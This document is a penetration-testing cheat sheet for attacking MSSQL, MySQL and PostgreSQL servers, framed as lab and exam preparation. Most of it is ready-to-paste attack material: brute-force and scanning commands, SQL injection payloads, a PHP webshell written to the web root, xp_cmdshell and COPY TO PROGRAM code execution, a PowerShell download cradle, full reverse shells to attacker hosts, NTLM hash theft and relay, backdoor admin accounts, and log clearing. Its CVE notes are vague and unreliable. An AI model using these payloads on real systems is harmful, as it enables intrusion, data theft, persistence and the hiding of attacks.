SQL

Learning Objectives

  • Understand SQL databases as high-value targets for data exfiltration, RCE, and lateral movement.

  • Differentiate between database types (e.g., MSSQL vs. MySQL) and their common deployments (e.g., web app backends).

Attack Surface Overview

# Common Vectors
- Misconfigurations (exposed ports, weak auth)
- SQL Injection (web  DB)
- Auth bypass / brute-force
- Privilege escalation (stored procs, UDFs)
- RCE via xp_cmdshell / UDF
- NTLM relay & hash stealing
- Linked server pivoting

Enumeration (Stealth → Aggressive)

# 1. Fast Port Discovery (Enhanced with Masscan for speed) 
masscan -p1433,1434,3306,5432 --rate=1000 --open-only 10.10.10.0/24 # Faster than nmap for large ranges 
# Or RustScan for even quicker results: rustscan -a 10.10.10.0/24 -- -sV -sC

# 2. Service Fingerprinting + Scripts (Add timing for stealth) 
nmap -Pn -sV -sC -p1433 --script=ms-sql* --max-rate 100 -T2 # -T2 for slower, stealthier scan 
nmap -Pn -sV -sC -p3306 --script=mysql* --max-rate 100 -T2 # PostgreSQL Enum 
nmap -Pn -sV -sC -p5432 --script=postgres* # Includes postgres-info, postgres-roles

# 3. Advanced MSSQL Enum (Add NTLM info for relay prep) 
nmap -p1433 --script=ms-sql-info,ms-sql-ntlm-info,ms-sql-empty-password,ms-sql-hasdbaccess,ms-sql-hashes-hashdump

# 4. MySQL Deep Scan 
nmap -p3306 --script=mysql-databases,mysql-users,mysql-variables,mysql-empty-password,mysql-info

# 5. PostgreSQL Deep Scan (New) 
nmap -p5432 --script=postgres-database,postgres-roles,postgres-user,postgres-lang-extensions

# 6. Metasploit Auxiliaries (Parallelize with resource scripts) 
use auxiliary/scanner/mssql/mssql_login set RHOSTS ; set USER_FILE users.txt; set PASS_FILE pass.txt; run 
# CrackMapExec for MSSQL (faster, multi-protocol) 
crackmapexec mssql -u users.txt -p pass.txt --shares # Also checks shares for pivots

Authentication & Misconfigurations

# Brute Force (Enhanced with timing/delays) 
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt -t 4 mssql # -t 4 threads to avoid lockouts 
medusa -h -u sa -P rockyou.txt -M mssql -T 10 # Parallel threads

# Gobuster for web-exposed mgmt (e.g., phpMyAdmin) 
gobuster dir -u http:///phpmyadmin/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt

# Impacket (Pass-the-Hash/Ticket) 
mssqlclient.py DOMAIN/user@ -hashes :NThash 
# For Kerberos: getTGT.py DOMAIN/user:pass; mssqlclient.py DOMAIN/user@ -k -no-pass

# MySQL Skip Grant Tables (if local access; add for root escalation) 
mysql --skip-grant-tables -h FLUSH PRIVILEGES; ALTER USER 'root'@'localhost' IDENTIFIED BY 'newpass'; FLUSH PRIVILEGES; # Restart MySQL to apply

Common Weak Configs

- sa blank password or 'Password123' 
- Mixed mode enabled + weak SQL logins (check with: SELECT name, is_disabled FROM sys.sql_logins) 
- MySQL: old_passwords=1 (MySQL323 hashing) or validate_password plugin disabled - Anonymous login: mysql -u '' -h <IP>
- Exposed phpMyAdmin / SQL Server Management Studio / pgAdmin 
- PostgreSQL: trust auth in pg_hba.conf (psql -h -U postgres) 
- Default trust for localhost (bypass with loopback pivots)

Protocol-Specific Attacks

MySQL

# Connect 
mysql -u root -p -h 
# Enum (Add schema details) 
SHOW DATABASES; USE dvwa; SHOW TABLES; DESCRIBE users; 
SELECT user, password, plugin FROM mysql.user; # Check auth plugins 
SHOW VARIABLES LIKE 'secure_file_priv'; # For file ops restrictions

# File Read (Bypass secure_file_priv if set) 
SELECT LOAD_FILE('/etc/passwd'); 
SELECT LOAD_FILE('C:/Windows/System32/drivers/etc/hosts'); # Cross-OS

# File Write (Webshell; check writable dir first) 
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'; 
# Hex encode for WAF bypass: 
SELECT 0x3C3F7068702073797374656D28245f4745545B22636D64225D293B203F3E INTO OUTFILE ...

# UDF RCE (requires FILE priv + writable plugin dir) 
# Upload lib_mysqludf_sys.so → /usr/lib/mysql/plugin/ (use scp or TFTP) 
CREATE FUNCTION sys_exec RETURNS INT SONAME 'lib_mysqludf_sys.so'; 
SELECT sys_exec('id > /tmp/out; chmod +x /tmp/out'); 
# Variable-based RCE: 
SET @a = 'whoami'; SELECT @a INTO OUTFILE '/tmp/cmd'; LOAD_FILE('/tmp/cmd');

MSSQL

# Connect (Linux) 
mssqlclient.py sa@ -windows-auth 
sqlcmd -S -U sa -P Password123 
# sqsh for interactive: 
sqsh -S -U sa -P pass

# Enable xp_cmdshell (Check first: EXEC sp_configure 'xp_cmdshell';) 
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; 
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

# RCE 
xp_cmdshell 'whoami' 
xp_cmdshell 'powershell IEX(New-Object Net.WebClient).DownloadString("http:///rev.ps1")' 
# CLR Assembly RCE (if .NET enabled): CREATE ASSEMBLY [asm] FROM 0x...; 
CREATE FUNCTION... EXEC asm::func();

# File Read 
SELECT * FROM OPENROWSET(BULK N'C:\Windows\System32\drivers\etc\hosts', SINGLE_CLOB) AS Contents;

# Hash Capture (NTLMv2; coerce with dirtree) 
EXEC master..xp_dirtree "\\10.10.10.10\share\"; 
# Listener: responder -I eth0 -wrf -v 
impacket-smbserver share . -smb2support 
# Use ntlmrelayx.py for auto-relay to SMB/DC 
ntlmrelayx.py -t smb:// --loot

PostgreSQL

# Connect
psql -h <IP> -U postgres -d template1
# Enum
\l  # List databases
\dt  # List tables
SELECT current_database(), current_user, version();
SELECT schemaname, tablename FROM pg_tables;

# File Read (requires superuser)
COPY (SELECT pg_read_file('/etc/passwd')) TO '/tmp/out';  # Or use extensions

# RCE via PL/PythonU (if enabled; check \dx for extensions)
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int AS $$
import os
os.system(args[0])
$$ LANGUAGE plpythonu;
SELECT sys_exec('whoami');
# COPY TO PROGRAM for shell: 
COPY (SELECT '') TO PROGRAM 'bash -c "whoami > /tmp/out"';

# PrivEsc: Role chaining
SELECT rolname, rolinherit FROM pg_roles WHERE rolinherit = true;
SET ROLE target_role;  # Impersonate if granted

Impersonation & PrivEsc

-- List impersonatable users (MSSQL) 
SELECT DISTINCT b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE permission_name = 'IMPERSONATE'; 
-- Impersonate 
EXECUTE AS LOGIN = 'sa'; 
SELECT IS_SRVROLEMEMBER('sysadmin'); -- 1 = yes 
REVERT;

-- MSSQL Role Chaining 
EXECUTE AS USER = 'lowpriv'; -- If granted impersonate 
SELECT * FROM sys.fn_my_permissions(NULL, 'DATABASE'); # Check effective perms REVERT;

-- MySQL: Grant escalation 
GRANT FILE ON *.* TO 'lowuser'@'%'; # If you control a higher priv

Linked Servers (Lateral Movement)

SELECT srvname, is_remote, provider_name FROM sys.servers; # Check linked types EXEC('SELECT @@version') AT [LINKED_SERVER]; 
EXEC('xp_cmdshell ''net user hacker P@ssw0rd! /add''') AT [DOMAIN\DC01]; 
# Chained query for exfil: 
SELECT * FROM OPENQUERY([LINKED], 'SELECT * FROM sensitive_table');

SQL Injection (SQLi) – Must-Know

# Manual Testing (Add error-based) 
OR 1=1-- 
UNION SELECT NULL, user, password FROM users-- 
AND (SELECT SUBSTRING(@@version,1,1)) = 'M' 
# DB type blind ' AND 1=CAST((SELECT COUNT(*) FROM users) AS INT)-- # Error-based MSSQL 
# Time-Based Blind 
; IF (1=1) WAITFOR DELAY '0:0:5'-- # MSSQL 
; SELECT IF(1=1, SLEEP(5), 0)-- # MySQL

# WAF Bypass Techniques 
OR 1=1 # (Comment variations: /**/, %23) 
UNION ALL SELECT NULL-- - (Case: UnIoN)

# Automated (Add Burp Intruder for custom fuzzing) 
sqlmap -u "http://target/login.php" --dbms=mysql --dbs --forms --batch --tamper=space2comment 
# Tamper for evasion 
sqlmap -u "http://target/page.asp?id=1" --os-shell --dbms=mssql --level=5 --risk=3 # High thoroughness 
# Burp Suite: Proxy traffic, use Intruder with payloads like ' OR SLEEP(5)-- for blind testing. Export to sqlmap via --burp flag.

Payload Cheat Sheet

MySQL: 
' UNION SELECT database(), user()-- 
' INTO OUTFILE '/var/www/html/shell.php'
'; SELECT BENCHMARK(10000000,MD5(1))-- # CPU-based blind

MSSQL: 
'; EXEC xp_cmdshell 'net user'-- 
' UNION SELECT NULL, @@version-- 
'; SELECT * FROM OPENROWSET(BULK N'\\attacker\share\out.txt', SINGLE_CLOB) AS x--

PostgreSQL (New): 
' UNION SELECT version(), current_user-- 
'; COPY (SELECT '') TO PROGRAM 'bash -c "nc -e /bin/sh attacker_ip 4444"'--

Latest CVEs (2024–2025)

MSSQL: 
- CVE-2025-49758: SQL Injection in SQL Server via improper neutralization. └ Exploit: Custom queries in stored procs; Metasploit module pending. 
- CVE-2025-55227: Spoofing in JDBC Driver for SQL Server. └ Bypass auth in Java apps: Use malformed connections.

MySQL: 
- CVE-2024-21196: Low-priv compromise via multiple protocols. └ Auth bypass: Exploit handshake flaws in 8.0.x. 
- CVE-2024-21125: FTS component vulnerability in MySQL Server. └ RCE via full-text search queries; PoC on GitHub.

PostgreSQL: 
- CVE-2025-1094: SQL Injection in quoting APIs for CLI tools. └ Inject via psql args: psql -c "'; DROP TABLE users;--". 
- CVE-2025-8714: Code injection in pg_dump for superusers. └ Restore-time RCE: Malicious dump file.
# Scan with Nuclei (Enhanced) 
nuclei -u -t cves/2024/CVE-2024-21196.yaml -t cves/2025/CVE-2025-49758.yaml -severity critical,high 
# Custom YAML for PoCs: Download from Exploit-DB, test in lab.

Post-Exploitation & Persistence

-- Add backdoor user (MSSQL) 
CREATE LOGIN hacker WITH PASSWORD = 'P@ssw0rd!'; 
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'; 
-- MySQL: CREATE USER 'hacker'@'%' IDENTIFIED BY 'pass'; GRANT ALL ON *.* TO 'hacker'@'%';

-- Exfil via DNS (if blocked outbound; use custom functions) 
-- MSSQL DNS Exfil: DECLARE @q CURSOR; ... FETCH NEXT FROM @q INTO @host; # Query to trigger TXT lookups

-- Reverse Shell (Obfuscated) 
xp_cmdshell 'powershell -nop -c "$c=New-Object System.Net.Sockets.TCPClient(''10.10.10.10'',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1 | Out-String );$sb2=$sb + ''PS ''+$pwd+''> ''; $sb1=[text.encoding]::ASCII.GetBytes($sb2);$s.Write($sb1,0,$sb1.Length);$s.Flush()};$c.Close()"' 
# Persistence: Scheduled job (MSSQL): EXEC msdb.dbo.sp_add_job @job_name='Backdoor'; ... EXEC @job_id=msdb.dbo.sp_add_jobstep ...

-- Cleanup: 
xp_cmdshell 'wevtutil cl application'; # Clear logs

Key Commands Summary (Copy-Paste Ready)

# Nmap (Stealth) 
nmap -p1433 --script=ms-sql-info,ms-sql-ntlm-info,ms-sql-empty-password -T2

# Connect 
mssqlclient.py sa@ -windows-auth 
mysql -u root -p -h 
psql -h -U postgres

# RCE 
xp_cmdshell 'whoami' 
SELECT sys_exec('id'); 
COPY (SELECT '') TO PROGRAM 'nc -e /bin/sh 10.10.10.10 4444';

# File Ops 
SELECT LOAD_FILE('/etc/passwd'); 
SELECT * FROM OPENROWSET(BULK 'C:\file.txt', SINGLE_CLOB); 
COPY (SELECT pg_read_file('/etc/passwd')) TO STDOUT;

# Hash Steal 
EXEC xp_dirtree '\\\share\'; 
responder -I eth0 
crackmapexec mssql -u sa -p pass --local-auth

# SQLi 
sqlmap -u "http://site/page.php?id=1" --dbs --os-shell --tamper=space2comment

Prep & Practice Plan

Weekly Schedule (4-Week Cycle): 
[ ] Mon: 30 min theory/CVEs + 60 min manual enum/auth 
[ ] Tue-Thu: 120 min lab attacks (rotate DB types) 
[ ] Fri: 45 min SQLi/Burp practice + 30 min evasion tweaks 
[ ] Sat: 90 min full chain (enum → RCE → exfil) + report writing 
[ ] Sun: Review notes, mock exam Q&A (e.g., "Explain xp_cmdshell risks")

Daily Checklist: 
[ ] 30 min: Review theory + CVEs (NVD/Exploit-DB) 
[ ] 90 min: Lab (document steps/screenshots) 
[ ] 30 min: Write report snippet (finding → exploit → impact → mitigation) 
[ ] **New:** 15 min: Quiz yourself (e.g., "Bypass WAF on this payload")

Labs (Expanded): 
- DVWA (SQLi all types) – Local Docker setup 
- Metasploitable 3 (MSSQL misconfigs) – VulnHub download 
- HackTheBox: "SQL" tagged (e.g., "Resolute" for AD-linked MSSQL), "PostgreSQL" machines like "Postman" 
- TryHackMe: "SQL Injection", "MSSQL for Pentesters", "PostgreSQL Basics" 
- VulnHub: "Kioptrix" series (MySQL), "DC-1" (MSSQL pivots) 
- Proving Grounds: "SQL-Lab" for timed challenges 
- Custom: Docker-compose MSSQL/MySQL/Postgres with vulnerable apps (e.g., from GitHub "vulnerable-sql-db")

Mock Exams: 
- Simulate 2-hour pentest: Target a lab machine, produce 5-page report. 
- Resources: eJPT/PKP materials, "The Web Application Hacker's Handbook" Ch. 5-6.

Last updated